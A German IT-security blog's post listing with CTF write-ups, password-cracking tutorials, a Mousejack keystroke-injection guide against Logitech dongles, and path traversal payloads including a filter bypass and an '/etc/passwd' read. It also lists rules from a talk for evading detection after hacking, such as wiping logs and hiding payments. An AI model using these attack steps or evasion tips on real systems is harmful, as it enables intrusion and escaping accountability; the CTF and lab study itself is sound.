Kategorie: IT-Security
RSS

Ubuntu Metasploit installieren

2020-07-01 von admin

Mit der Anleitung kann das Metasploit Framework unter Ubuntu Mate installiert werden.

1. System Updaten

Als erstes das System aktualisieren:

sudo apt-get update
sudo apt-get upgrade

2. Notwendige Abhängigkeiten installieren

sudo apt-get install -y curl gpgv2 autoconf bison build-essential postgresql 
libaprutil1 libgmp3-dev libpcap-dev openssl libpq-dev libsqlite3-dev libssl-dev 
locate libsvn1 libtool libxml2 libxml2-dev wget libyaml-dev postgresql-contrib 
xsel zlib1g zlib1g-dev

3. Metasploit installieren

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/
metasploit-framework-wrappers/msfupdate.erb > msfinstall

Ändern der Berechtigungen mit dem Befehl „chmod“ und ausführen:

chmod 755 msfinstall

Die Installation starten:

/msfinstall
Kategorie: IT-Security

0x00sec.dev: Exercise 1

2020-04-15 von admin

Auf der Seite ctf.0x00sec.org werden CTF Spiele veröffentlicht. Für die erste Aufgabe hier ein writeup.

Challenge

Analyse

Da auf der Seite keine hilfreichen Informationen zu finden sind, wird der Quelltext der Seite untersucht.

Der Kommentar gibt einen Hinweis, an welcher Stelle gesucht werden soll.

</body>
  <!-- TODO: -->
  <!-- * Remove the git directory after publishing -->
</html>

Bei einem GIT Repository wird per default ein Ordner mit dem Namen „.git“ angelegt. Weiterhin wird automatisch eine Struktur erstellt. Ein Versuch „https://exercise-1.0x00sec.dev/.git/“ aufzurufen, ergab folgendes:

Die Anzeige der Fehlermeldung ist gut. Warum? Dadurch ist ersichtlich, dass der Ordner „.git“ vorhanden ist.

Als nächstes kann jede einzelne Möglichkeit von weiteren Dateien oder Ordnern probiert werden, welche in der Dokumentation von GIT zu finden ist. Manuell macht das aber keinen Spaß. Das Tool „gitdumper“ ist für diese Aufgabe perfekt geeignet.

 

Durchführung

Herunterladen des Tools „gitdumper“ und starten.

./gitdumper.sh https://exercise-1.0x00sec.dev/.git/ DEST_FOLDER
Parameter Beschreibung
DEST_FOLDER Der Ordnername gibt an, wo die heruntergeladenen Dateien lokal gespeichert werden sollen.

 

Die Ausgabe von „gitdumper“ stellt sich wie folgt dar:

Mit dem Befehl „tree“ kann danach eine übersichtliche Darstellung der heruntergeladenen Daten erzeugt werden.

Die einzelnen Commits werden bei GIT gepackt (ZIP), um Speicherplatz zu sparen. Die relevanten Informationen befinden sich im Ordner „objects“. Für das Entpacken habe ich ein kleines Script geschrieben:

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import zlib  # A compression / decompression library

ROOT_DIR = "/EDIT_ME_PATH_TO_FOLDER/.git/objects/"

def readFile(path_to_file):

	compressed_content = open(path_to_file, 'rb').read()
	decompressed_content = zlib.decompress(compressed_content)
	print("--- BOF --- ")
	print(decompressed_content)
	print("--- EOF --- ")


def main():
	for root, subdirs, files in os.walk(ROOT_DIR):
		for file in files:
			tmp_file = os.path.join(root, file)
			print(tmp_file)
			readFile(tmp_file)


if __name__ == "__main__":
	main()

Das Script gibt die gepackten Daten aus. Zuvor muss die Variable „ROOT_DIR“ auf den Ort der heruntergeladenen Daten entsprechend angepasst werden. Daraufhin das Script ausführen:

./zip_to_text.py

Da die Ausgabe etwas unübersichtlich ist, den Befehl erweitern:

./zip_to_text.py | grep Pass

Das sieht doch sehr gut aus. Hier findet ein Vergleich zwischen Username und Passwort statt, wobei das Passwort als SHA256 HASH abgelegt ist.

 

Den HASH-Wert gilt es zu cracken. Dafür kann eine beliebige Plattform verwendet werden.

Nach einigen Sekunden wurde der Originalwert des HASH (Result) angezeigt. Jetzt sind die Informationen für den Usernamen „admin“ und für das Passwort „l33tsupah4x0r“ bekannt und der Login kann durchgeführt werden.

 

Nach der Anmeldung wird das Flag „flag{g1t-dump1ng-i5-c00l}“ angezeigt und die Aufgabe ist abgeschlossen.

Kategorie: IT-Security Schlagwörter: , , ,

Inject Keystrokes into Logitech Keyboards

2020-04-05 von admin

In bestimmten Versionen von Logitech Dongles gibt es eine Schwachstelle, welche es ermöglicht, Befehle an den angeschlossenen PC zu senden.

 

Hardware und Software

Für die Umsetzung wurde folgende Hardware verwendet:

  • Crazyradio PA USB radio dongle based on Nordic Semiconductor’s nRF24LU1+
  • Logitech USB Dongle (C-U0007 – FW ver 012.005.00028)
  • Ubuntu 18.04.3 LTS

 

Firmware Version auslesen

Mit den Befehl „fwupdmgr“ kann die Versionsnummer des Logitech USB-Dongles ausgelesen werden.

fwupdmgr get-devices

In der darauf angezeigten Ausgabe kann die Firmware Version des Dongles ermittelt werden. Eine Liste, welche Geräte bzw. welche Firmware betroffen sind, gibt es hier: www.bastille.net

 

Firmware auf dem Crazyradio flashen

Als Voraussetzung für die Durchführung des Angriffs muss die Firmware auf den Crazyradio, nicht auf dem Logitech Dongle, geflasht werden. Um die Firmware zu erstellen, werden einige  Bibliotheken benötigt.

apt-get install sdcc binutils python python-pip git
pip install pyusb
pip install --upgrade pip
pip install --upgrade -I pyusb
pip install --upgrade platformio

Danach die Software „Mousejack“ herunterladen.

git clone https://github.com/BastilleResearch/mousejack
git submodule init
git submodule update

Als letzter Schritt wird die Firmware erstellt und auf dem Crazyradio übertragen.

/nrf-research-firmware$ make
make install

Um zu verifizieren, ob die Firmware erfolgreich auf das Crazyradio geflasht wurde, diesen aus dem USB-Port ziehen und danach wieder anstecken. Als nächstes den Befehl „dmesg“ ausführen und nach dem Text „RFStorm“ suchen.

dmesg

Wird dieser angezeigt, ist der Schritt erfolgreich abgeschlossen.

 

Jackit installieren

Jackit wird für den eigentlichen Angriff benötigt. Mit der Software wird mit dem Crazyradio kommuniziert.

git clone https://github.com/insecurityofthings/jackit.git
cd jackit/
pip install -r requirements.txt
./setup.py build
./setup.py install

 

Attack

Zur Vorbereitung für den Angriff wird ein „Ducky“ Script erstellt. Die hier enthaltenen Befehle werden auf dem Ziel-PC ausgeführt. Dafür die nachfolgende Auflistung in einer Textdatei „script.txt“ speichern.

GUI r
DELAY 200
STRING calc.exe
ENTER

Mit dem Befehl „jackit“ (als Root starten) kann jetzt nach potenziell verwundbaren Geräten gesucht werden.

Sobald ein Dongle gefunden wurde, die jeweilige Adresse „C7:D4:21:98:07“ kopieren und das Programm mit „STRG + C“ beenden. Jetzt „jackit“ erneut mit einigen Parametern starten.

jackit --address C7:D4:21:98:07 --vendor logitech --script /path/to/ducky/script.txt

Nachdem der Dongle wieder erkannt wurde, mit „STRG + C“ abbrechen, um in ein Untermenü von „jackit“ zu gelangen. Jetzt mit der jeweiligen Nummer das Ziel (Spalte KEY) auswählen. Wenn alles funktioniert hat, dann hat sich auf dem Ziel-PC ein Taschenrechner geöffnet.

 

Links

Kategorie: IT-Security Schlagwörter: ,

Newbie CTF 2019: Top Secret

2020-03-21 von admin

Challenge

He stole the virtual machine file containing the top secret of the enemy country.

However, due to the shortage of USB memory, I dumped only the memory that seemed to be the most important.

What is the secret of an enemy country? (Fake Flag file exists.)

 

Download: NewbieCTF2019_Top_Secret.zip (1,2GB)

Analyse

  • Entpacken der ZIP Datei (Nach dem Entpacken ist die Datei 4 GB groß)
  • Die entpackte Datei besitzt die Dateierweiterung „vmem“. Dieser Typ wird von Virtualisierungssoftware wie VMware, Virtualbox usw. verwendet. Dabei handelt es sich um ein Speicherabbild des RAM oder eines physischen Speichers einer virtuellen Maschine.
  • Für eine Analyse eines Speicherabbildes kann die Software Volatility Tool verwendet werden.
  • Eine Online-Referenz der Befehle steht ebenfalls bereit.
  • Das gesuchte Flag besitzt folgendes Format: „KorNewbie{???}“

1. Download Volatility Tool

$git clone https://github.com/volatilityfoundation/volatility

2. Installation

$cd volatility
$chmox +x setup.py
$./setup.py

Danach steht das Tool systemweit (/usr/bin/volatility) zur Verfügung.

Durchführung

Mit dem Befehl und zwei Parametern können grundsätzliche Informationen angezeigt werden.

volatility -f w7.vmem imageinfo
Parameter Beschreibung
-f Nach dem Parameter ist der Dateiname anzugeben (filename).
imageinfo Zeigt die Zusammenfassung des zu analysierenden Speicherabbildes an.

 

Mit den Informationen wird ersichtlich, dass es sich um ein Windows 7 Speicherabbild handelt. Als nächstes wird untersucht, welche Prozesse zum Zeitpunkt der Erstellung des Speicherabbildes gelaufen sind.

volatility -f w7.vmem --profile=Win7SP0x86 pslist

 

Parameter Beschreibung
–profile Gibt an, um welchen Typ von Speicherabbild es sich handelt. Der Wert kann der vorherigen Ausgabe (Suggested Profile(s)) entnommen werden.
pslist Zeigt eine Liste aller Prozesse an.

 

 

Jedem der Prozesse ist Speicher zugewiesen, welcher sich in diesem Abbild befindet. Jedoch ist die Frage, welcher Prozess beinhaltet das gesuchte Lösungswort (Flag)? Interessante Prozesse sind:

  • chrome.exe
  • mspaint.exe
  • SnippingTool.e
  • wordpad.exe
  • notpad.exe
  • cmd.exe

 

Jetzt gilt es, einem nach dem anderen zu analysieren…

Mit dem folgendem Befehl kann ein Speicherauszug (Teilmenge) aus dem Abbild erstellt werden, der genau einem Prozess entspricht:

volatility -f w7.vmem --profile=Win7SP0x86 memdump -p 3224 --dump-dir=tmp

Der Prozess „notpad.exe“ besitzt die Nummer (PID) „3224“. In dem zuvor angelegten Ordner „tmp“ wird eine Datei geschrieben, welche nur den Speicherinhalt des Prozesses „notpad.exe“ beinhaltet.

 

Parameter Beschreibung
memdump Extrahieren des Speichers eines Prozesses in eine einzelne Datei.
-p Gibt die Prozessnummer an.
–dump-dir Angabe, in welchem Ordner der Speicherauszug abgelegt werden soll.

 

Die erstellte Datei „3224.dmp“ befindet sich im Ordner „tmp“. Abschließend kommt das Tool „strings“ zum Einsatz.

strings 3224.dmp | grep "KorNewbie"

Es werden alle Textinhalte der Datei „3224.dmp“ ausgegeben und an den Befehl „grep“ übergeben. Der Befehl „grep“ sucht nach dem Text „KorNewbie“.

Bingo! Das wars! :)

Alternative

Der gesamte Prozess kann abgekürzt werden, indem mit „strings“ direkt über das gesamte Speicherabbild gesucht wird. Funktioniert in dem Fall aber nur, weil das Flag in Textform vorliegt.

strings w7.vmem | grep -oE "KorNewbie{.*}
Kategorie: IT-Security Schlagwörter: ,

Hack-IT: Not K9 But ?

2020-02-13 von admin

Auf der Seite „canyouhack.it“ (leider down) in der Rubrik „Cryptography“ gab es eine spannende Challenge.

Challenge

Not K9 But ?

8430727796730470662453

 

Analyse

Die Frage „Not K9 But ?“ erinnert irgendwie sehr stark an T9.

Die Zahlen von 0 bis 9 sprechen ebenfalls dafür.

 

Information gathering

  • Auf Wikipedia ist die Tastenbelegung für die Zahlen 0 bis 9 zu finden.

  • Die Seite „canyouhack.it“ war nur auf Englisch verfügbar. Die Wahrscheinlichkeit ist groß, dass die Lösung in englischer Sprache vorliegt.
  • Für die Zahl „0“ gibt es keine Buchstaben, vermutlich beginnt bei jeder „0“ ein neues Wort.

 

Durchführung

Erstellung eines Mappings der Ziffern zu den jeweiligen Buchstabenkombinationen.

Zahl T9 Letters
843 TUV | GHI | DEF
72779673 PQRS | ABC | PQRS | PQRS | WXYZ | MNO | PQRS | DEF
47 GHI | PQRS
662453 MNO | ABC | GHI | JKL | DEF

 

Als nächstes heißt es, probieren… Bei 843 ist das Wort recht schnell zu finden „THE“.

Zahl T9 Letters
843 TUV | GHI | DEF
72779673 PQRS | ABC | PQRS | PQRS | WXYZ | MNO | PQRS | DEF
47 GHI | PQRS
662453 MNO | MNO | ABC | GHI | JKL | DEF

 

Nach einigem Probieren ist das Lösungswort „mobile“ gefunden.

 

Anmerkung

Falls das Probieren etwas zu „mühevoll“ ist, kann der Vorgang auch durch ein Programm gelöst werden. Es werden alle Buchstabenkombinationen je Wort erstellt und gegen ein Wörterbuch abgeglichen. Daraufhin werden nur die Wörter angezeigt, die im Wörterbuch vorhanden sind. Falls es mehrere Möglichkeiten geben sollte, kann man wählen.

Genau so ein Programm wurde auch schon implementiert: t9-emulator.

 

Kategorie: IT-Security Schlagwörter:

35C3 – Du kannst alles hacken – du darfst dich nur nicht erwischen lassen

2019-07-11 von admin

In dem Vortrag werden Beispiele gezeigt, wie „erfolgreiche“ Hacker durch leichtsinnige Fehler überführt wurden:

Hacking rules to survive

Hier eine Zusammenfassung der Regeln:

  • Sprich nicht über deine Hacks
  • Prahle nicht über deine Fähigkeiten
  • Gewähre technischen Geräten, die nicht dein Eigentum sind, keinen Zugang zum Internet (absichern/flashen)
  • Nicht ohne Anonymisierungsdienst hacken, auch kein „antesten“ (IP-Logs…)
  • Lagere zu Hause keine Daten und kein Equipment (hold your home clean)
  • Verwende keine Crypto-key zweimal
  • Verschlüssele deine Daten
  • Lass keine Daten auf der gehackten Maschine zurück (Log-Files)
  • Bei Verwendung von eigenen Programmen/Code ändere den code style (confuse analyser)
  • Zahlungen (Bitcoin) nicht auf das eigene Konto durchführen
  • Keine öffentlichen WLAN-Netze verwenden (MAC addresses, PROBE Request)
  • Deaktiviere rechtzeitig vor einem Hack das Smartphone (Ortung)
  • Benutze ein separates Telefon nicht ausschließlich bei einem Hack (IMEI only on, when somthing going on…)
  • Kenne deine eingesetzten Tools, sie könnten Spuren hinterlassen
  • Vertraue niemanden
  • Sei vor eine Hack paranoid
  • Installiere dein Equipment immer neu
  • Verwende unterschiedliches Equipment (privater PC/PC zum Hacken)
  • Hacke nicht von zu Hause
Kategorie: IT-Security

IOLI-crackme – 0x02

2019-04-22 von admin

Auf der Website der University of California, Riverside (UCR) im Department of Computer Science and Engineering wird ein Kurs zum Thema „Security and privacy“ angeboten. Dabei wird auch auf das Thema Reverse Engineering näher eingegangen. Es gilt, sieben Crackmes (IOLI-crackme) zu lösen.

 

Writeup Crackme0x02 

Als erstes das Programm „crackme0x02“ ausführen. Daraufhin wird eine Passworteingabe verlangt, welches wir nicht kennen. Zum Testen einfach ein paar Buchstaben eingeben und mit Enter bestätigen.

./crackme0x02

Mit dem Befehl „file“ kann geprüft werden, um welchen Dateityp es sich handelt.

file crackme0x02

In der Ausgabe wird der Dateityp ELF angezeigt. Mit einem weiteren UNIX-Programm, dem GNU Debugger, besteht die Möglichkeit, die Software in Maschinensprache anzeigen zulassen.

gdb ./crackme0x02
set disassembly-flavor intel
disas main

Der erste Befehlt „gdb ./crackme0x02“ öffnet den GNU Debugger und ebenfalls die Datei „crackme0x02“. Mit dem darauf folgenden Befehl wird die Darstellung der Syntax auf Intel umgestellt. Als nächstes wird die „Main“ Methode des „crackme0x02“ zur Anzeige gebracht.

 

Der relevante Teil ist nach „call 0x804830c <scanf@plt>“ zu finden. Die Funktion „scanf“ liest die Tastatureingabe und im folgenden befindet sich die Berechnung des Passworts.

Code Beschreibung
mov DWORD PTR [esp+0x4], eax Der Wert von eax (zeigt auf [ebp-0x4]) und wird nach [esp+0x4] kopiert.
mov DWORD PTR [esp], 0x804856c Die Adresse 0x804856c (zeigt auf [ebp-0x4]) wird zum Stackpointer [esp] kopiert.
call 0x804830c <scanf@plt> Die Funktion scanf wird aufgerufen und der eingegebene Wert wird in [ebp-0x4] geschrieben.
mov DWORD PTR [ebp-0x8], 0x5a Der Basepointer [ebp-0x8] wird mit dem Hexadezimalwert „5a“ (in Dezimal „90“) belegt.
mov DWORD PTR [ebp-0xc], 0x1ec Der Basepointer [ebp-0xc] wird mit dem Hexadezimalwert „1ec“ (in Dezimal „492“) belegt.
mov edx, DWORD PTR [ebp-0xc] Der Wert von [ebp-0xc] (in Dezimal „492“) wird nach edx kopiert.
lea eax, [ebp-0x8] Mit lea (load effective address) wird in eax die Adresse von [ebp-0x8] (in Dezimal „90“) abgelegt.
add DWORD PTR [eax], edx Die Werte von edx (492) und eax (zeigt [ebp-0x8] (in Dezimal „90“)) werden addiert.

eax (582) = eax (90) + edx (492)

Da eax auf die Adresse [ebp-0x8] zeigt, wird der vorherige Wert 90 mit dem Wert 582 überschrieben.

mov eax, DWORD PTR [ebp-0x8] Der Wert von [ebp-0x8] (582) wird nach eax kopiert.
imul eax, DWORD PTR [ebp-0x8] Die Werte von [ebp-0x8] (582) und eax (582) werden multipliziert.

eax (338724) = eax (582) * [ebp-0x8] (582)

mov DWORD PTR [ebp-0xc], eax Der Wert von eax (338724) wird nach [ebp-0xc] kopiert.
mov eax, DWORD PTR [ebp-0x4] Die Passworteingabe ist in [ebp-0x4] abgelegt und wird nach eax kopiert.
cmp eax, DWORD PTR [ebp-0xc] Die Werte in [ebp-0xc9] (338724) und eax (Passworteingabe) werden verglichen.
jne 0x8048461 <main+125> Darauf folgt eine IF-Abfrage (Jump if not equal) und es wird eine Erfolgs- oder eine Fehlermeldung ausgegeben.

 

Das gesuchte Passwort lautet: 338724

 

Link zum Kurs: http://www.cs.ucr.edu/~csong/cs165/17/info.html

Download der Challenges: http://www.cs.ucr.edu/~csong/cs165/17/l/lab1.tar.bz2

Kategorie: IT-Security Schlagwörter: , ,

35C3 Junior CTF – McDonald

2019-02-06 von admin

Challenge

Our web admin name’s “Mc Donald” and he likes apples and always forgets to throw away his apple cores..

http://35.207.132.47:85

 

Analyse

Nach dem Aufruf der Webseite wurde eine leere Seite angezeigt. Im Quelltext der Seite war auch nichts zu finden.

Ein Blick in die „robots.txt“ verschaffte neue Erkenntnisse.

http://35.207.91.38/robots.txt

Inhalt der Datei:

User-agent: *
Disallow: /backup/.DS_Store

Als nächstes wurde die Datei „DS_Store“ heruntergeladen.

 

Information gathering

1. Recherche was das für eine Datei ist. Wikipedia sagt dazu:

„In the Apple macOS operating system, .DS_Store is a file that stores custom attributes of its containing folder, such as the position of icons or the choice of a background image. The name is an abbreviation of Desktop Services Store, reflecting its purpose. It is created and maintained by the Finder application in every folder, and has functions similar to the file desktop.ini in Microsoft Windows. Starting with a full stop (period) character, it is hidden in Finder and many Unix utilities. Its internal structure is proprietary.“

2. Nach einer weiteren Suche im Web bin ich auf das Tool „ds store exp“ gestoßen.

 

Durchführung

1. Das Tool anwenden und alle Ordner und Dateien werden extrahiert.

./ds_store_exp.py http://35.207.91.38/backup/.DS_Store

2. Flag suchen

Die Ordner- und Dateistruktur mit dem Befehl „tree“ anzeigen.

In der Textdatei „flag,txt“ befindet sich das gesuchte Flag.

Solution: 35c3_Appl3s_H1dden_F1l3s

Kategorie: IT-Security Schlagwörter: ,

35C3 Junior CTF – rare_mount

2019-02-02 von admin

Challenge

Little or big, we do not care!

File: ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin

 

Analyse

Nach dem Download der Datei wurde mit dem Befehl „file“ geschaut, um welchen Dateityp es sich handelt.

$file ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin
ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin: data

Leider hilft das noch nicht wirklich weiter. Ein weiterer Versuch mit dem Programm „binwalk“:

$binwalk ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin

DECIMAL   	HEX       	DESCRIPTION
------------------------------------------------------------
0         	0x0       	JFFS2 filesystem, big endian

Es handelt sich bei der Datei um ein JFFS2 Filesystem.

 

Information gathering

Nach der Recherche können Dateien mit dem „JFFS2 filesystem extraction tool“ extrahiert werden.

1. Download des Tools

$git clone https://github.com/sviehb/jefferson

2. Installation

$cd jefferson
$chmox +x setup.py
$./setup.py

Danach steht das Tool systemweit (/usr/local/bin/jefferson) zur Verfügung.

 

Durchführung

1. Das Tool anwenden und Dateien extrahieren.

$jefferson ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin -d rare_output

2. Flag suchen

Das Tool legt einen Ordner mit dem Namen „rare_output“ an. Dort ist ein weiterer Unterordner mit dem Namen „fs_1“ enthalten. Dieser wiederum enthält zwei Dateien.

In der Textdatei befindet sich das gesuchte Flag.

 

Solution: 35C3_big_or_little_1_dont_give_a_shizzle

Kategorie: IT-Security Schlagwörter: ,

35C3 Junior CTF – flags

2019-01-06 von admin

Der CCC veranstaltet seit 35 Jahren einen Kongress. Der diesjährige fand unter dem Motto Refreshing Memories statt. Auch in diesem Jahr gab es ein CTF (Capture the flag) Spiel. Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein „Flag“ in Erfahrung zu bringen.

Challenge

Fun with flags: http://35.207.169.47
Flag is at /flag
Difficulty estimate: Easy

 

Beim Aufruf der Adresse wurde folgende Seite angezeigt.

Analyse

Der PHP Code holt sich die aktuellen gesetzten Browsersprachen.

$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';

Danach werden die Sprachen (falls mehrere gesetzt sind) aufgeteilt und die erste wird in die Variable geschrieben.

$lang = explode(',', $lang)[0];

Daraufhin wird der Inhalt der Variable gesäubert bzw. geschützt.

$lang = str_replace('../', '', $lang);

Als nächstes wird aus dem Ordner „flags“ das Bild passend zur Sprache geladen.

$c = file_get_contents("flags/$lang");

Jetzt erfolgt eine Prüfung, ob eine Datei vorhanden ist und wenn nicht, wird ein default Bild geladen.

if (!$c) $c = file_get_contents("flags/ot");

In der letzten Zeile erfolgt die Ausgabe.

 

Information gathering

Was wissen wir:

  • Das Ziel liegt unter „/flag“.
  • Eingabeparameter, der beeinflusst werden kann, ist die erste Browsersprache.
  • Es gibt einen Schutzmechanismus „str_replace“.

 

Unser Ziel ist es, dass Laden des Inhaltes zu beeinflussen.

$c = file_get_contents("flags/../../../../../flag");

Das ist prinzipiell möglich, da die Browsersprache selbst festgelegt werden kann. Dafür im Firefox in der Adresszeile den Befehl „about:config“ eingeben und nach „intl.accept_languages“ suchen.

Jetzt noch den Schutzmechanismus „str_replace“ umgehen. Die Funktion ersetzt den Text „../“ durch einen leeren String. Der Mechanismus ist leicht zu umgehen, denn es wird nur „../“ ersetzt. Wenn aber als Input für die Funktion „….//“ beinhaltet, ist das Output „../“ und genau das möchten wir erreichen. Es werden lediglich zwei Punkte und ein Slash entfernt, der Rest bleibt erhalten.

 

Exploiting

1. Wir ändern unsere Browsersprache in „….//….//….//….//flag“

2. Wir rufen die Seite auf.

Es wird kein Bild angezeigt. Also den Quelltext der Seite anzeigen lassen (STRG +U).

3. Den Text kopieren und dekodieren.

echo "MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=" | base64 -d

Solution: 35c3_this_flag_is_the_be5t_fl4g

 

Diese Art von Angriff nennt man directory traversal attack. :)

Kategorie: IT-Security Schlagwörter: ,

Microsoft PowerPoint Schreibschutz Passwort entfernen

2018-09-01 von admin

Für das hier gezeigte Beispiel wurde Microsoft PowerPoint 2013 verwendet. Mit einer neueren Office Version funktioniert die folgende Anleitung ebenso:

 

Vorbereitung

Als erstes eine PowerPoint Datei erstellen. Daraufhin im Menü „Datei – Speichern unter“ wählen. In dem Dialog gibt es die Option „Tools“.

 

Hier die  „Allgemeine Optionen…“ wählen. Daraufhin öffnet sich ein weiteres Dialog-Fenster. In diesem kann jetzt das Schreibschutzpasswort vergeben werden.

Nach der Vergabe eines Passworts die Datei speichern und schließen. Zum Test die Datei öffnen und die Kennwortabfrage erscheint.

 

Passwortschutz entfernen

Als nächstes wird die Datei „Geheim.pptx“ nach „Geheim.zip“ umbenannt. Daraufhin die Datei mit einem ZIP-Programm öffnen und in den Ordner „ppt“ navigieren.

Hier die Datei „presentation.xml“ mit einem Editor öffnen.

In der Datei nach dem Tag „<p:modifyVerifier crytProviderType …“ suchen, entfernen und speichern. Danach die Dateiendung in „pptx“ umbenennen.

Beim Öffnen der PowerPoint Datei kann eine Fehlermeldung erscheinen, diese einfach ignorieren (Reparieren) und siehe da,  beim Öffnen wird kein Passwort mehr eingefordert.

Kategorie: IT-Security Schlagwörter:

Passwort einer ZIP Datei mit John the Ripper knacken

2018-08-12 von admin

Mit der Software John the Ripper ist es ebenfalls möglich, ein vergessenes Passwort in Erfahrung zu bringen.

Installation der Software

git clone https://github.com/magnumripper/JohnTheRipper

Danach in den Ordner wechseln.

cd JohnTheRipper/src

Als nächstes

./configure
make clean
make

ausführen. Daraufhin wird die Software gebaut und ist unter „JohnTheRipper/run“ zu finden.

Konstruktion eines Beispiels

1. Erstellen einer Textdatei mit dem Namen „Geheim.txt“ und Eingabe eines Geheimtextes.

2. Mit dem Befehl zip die Textdatei packen und das Passwort „123456“ vergeben.

zip -e -o Geheim.zip Geheim.txt

Parameter Beschreibung
e Verschlüsseln
o Name der Zip Datei

 

3. Prüfen, ob das vergebene Passwort funktioniert. Dafür die Datei entpacken und einmal das richtige und einmal das falsche Passwort eingeben.

unzip Geheim.zip

4. Mit dem Programm „zip2john“ den Passworthash aus der ZIP Datei auslesen und in eine Datei speichern.

./run/zip2john /tmp/Geheim.zip > /tmp/hash.txt

5. Mit John the Ripper und einer Wörterliste werden Hashes generiert und verglichen, bis das Passwort gefunden ist.

./run/john --format=PKZIP --wordlist=/tmp/numbers.txt hash.txt

 

Download von Wortlisten

https://github.com/danielmiessler/SecLists/tree/master/Passwords

https://wiki.skullsecurity.org/Passwords

https://packetstormsecurity.com/Crackers/wordlists/

http://www.md5this.com/tools/wordlists.html

https://weakpass.com

http://ftp.icm.edu.pl/packages/wordlists/

http://download.openwall.net/pub/wordlists/

Kategorie: IT-Security Schlagwörter: ,

Common Vulnerabilities and Exposures (CVE)

2018-08-04 von admin

Common Vulnerabilities and Exposures, kurz CVE genannt, ist ein Industriestandard für Namenskonvention von Sicherheitslücken. Dadurch wird eine eindeutige Identifizierung und ein Informationsaustausch einer Schwachstelle gewährleistet.

Die Liste der CVEs wird von der Non-Profit-Organization „MITRE Corporation“ in Zusammenarbeit mit Sicherheitsexperten, Bildungseinrichtungen, Behörden und Herstellern von Sicherheitssoftware (CVE Numbering Authorities) verwaltet.

CVE Nummern werden auch häufig als CVE names, CVE numbers, CVE-IDs und CVEs bezeichnet.

 

Aufbau einer CVE Nummer

CVE-YYYY-NNNN
Parameter Beschreibung
CVE Prefix
YYYY Jahresangabe
NNNN fortlaufende Nummer

 

Von 1999 bis 2013 waren die fortlaufenden Nummern immer vierstellig (mit führender 0). Seit 2014 kann die fortlaufende Nummer beliebig lang sein, aber mindestens vier Stellen.

 

Links

Link Beschreibung
https://www.cvedetails.com Webinterface zur Suche von CVEs und Detailinformationen
http://cve.mitre.org/data/downloads/index.html Download aller CVEs

 

Kategorie: IT-Security

Passwort einer ZIP Datei mit fcrackzip knacken

2018-07-29 von admin

Mit der Software fcrackzip ist es unter Linux möglich, ein vergessenes Passwort, unter Anwendung der Brute-Force-Methode, zu knacken. Die Installation der Software kann wie folgt durchgeführt werden:

apt-get install fcrackzip

 

Konstruktion eines Beispiels

1. Erstellen einer Textdatei mit dem Namen „Geheim.txt“ und Eingabe eines Geheimtextes.

2. Mit dem Befehl zip die Textdatei packen und das Passwort „123456“ vergeben.

zip -e -o Geheim.zip Geheim.txt

Parameter Beschreibung
e Verschlüsseln
o Name der Zip Datei

 

3. Prüfen, ob das vergebene Passwort funktioniert. Dafür die Datei entpacken und einmal das richtige und einmal das falsche Passwort eingeben.

unzip Geheim.zip

4. Mit dem Programm fcrackzip die Datei „Geheim.zip“ knacken

fcrackzip -v -l 5-6 -c 1 -u Geheim.zip

Parameter Beschreibung
v Anzeige von Detailinformationen
l Angabe der Passwortlänge min. bis max. (5-6)
c Verwendung des Zeichensatzes, wobei „1“ für Zahlen zwischen 0 bis 9 steht
u Verwendung der Software unzip, um falsche Passwörter auszusortieren

 

Kategorie: IT-Security Schlagwörter:

Google CTF – Beginners Quest – ADMIN UI

2018-07-07 von admin

Google veranstaltet regelmäßig Capture the Flags (CTF). Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein „Flag“ in Erfahrung zu bringen. Das Flag ist meist ein Text mit einer definierten Struktur, mit dem Punkte eingelöst werden. Das Team mit den meisten Punkten gewinnt das Spiel.

 

Challenge „Beginners Quest – ADMIN UI“

 

Analyse

Als erstes auf der Konsole mit der Software Netcat eine Verbindung aufbauen.

nc mngmnt-iface.ctfcompetition.com 1337

Dadurch wird eine Verbindung zum Server aufgebaut und automatisch wird ein Programm gestartet, welches auf diesem läuft. Das Programm bietet folgende Funktionen über ein Menü an:

=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit

 

Bei der Option „1“ wird ein Passwort verlangt, welches wir nicht haben, also wieder zurück.

Please enter the backdoo^Wservice password:

Die Option „2“ stellt ein weiteres Menü bereit:

The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?

 

Mit der Eingabe „Version0.3“ erhalten wir die Patchnotes:

# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.

Mit der Eingabe „Version0.2“ erhalten wir die Patchnotes:

# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX

 

Let’s go hacking

Bis hierhin kein Problem, wir haben eine Software, die auf einem Server läuft, eine Passworteingabe verlangt, Patchnotes bereitstellt und sich beenden lässt.

Als erstes habe ich ein paar nicht zulässige Eingaben ausprobiert. D.h., anstatt die im Menü vorgegebenen Eingaben habe ich Menüpunkt „4“, „0“, … usw. ausprobiert. Was keinen Erfolg brachte.

 

Als nächstes habe ich im Untermenü der Patchnotes invalide Eingaben ausprobiert. Folgende Fehlermeldung kam zum Vorschein:

Error: No such file or directory

Daraus lässt sich schließen, dass wahrscheinlich die Patchnotes in Dateien abgelegt sind und das Programm diese öffnet und entsprechend anzeigt.

 

Durch einen einfachen Test lässt sich herauszufinden, ob das Programm nur den „Dateinamen“ oder „Pfad/Dateinamen“ zum Öffnen benötigt. Im Untermenü wird folgendes eingegeben:

./Version0.3

Daraufhin wird die Datei Version 0.3 angezeigt.

# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.

Bingo ! :) D.h. über die Eingabe ist es möglich, einen Pfad (Path Traversel) anzugeben. Zur Verdeutlichung, was dadurch jetzt möglich ist:

../../../../../../etc/passwd

Ausgabe

